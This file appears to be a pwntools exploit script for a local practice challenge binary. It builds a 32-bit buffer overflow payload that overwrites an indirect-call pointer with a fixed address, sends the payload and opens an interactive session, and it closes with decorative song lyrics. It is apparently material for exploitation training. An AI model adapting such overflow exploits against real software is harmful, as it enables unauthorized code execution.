# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_IndrCall-06-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x40)
bof_payload.add_int32(0x24, 0x8048476)
bof_payload.add_int32(0x20, 0xdead)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Hail to the King                         |
# +------------------------------------------------+
# | There's a taste of fear                        |
# | when the henchmen call                         |
# | iron fist to tame the lands                    |
# | iron fist to claim it all                      |
# +------------------------------------------------+

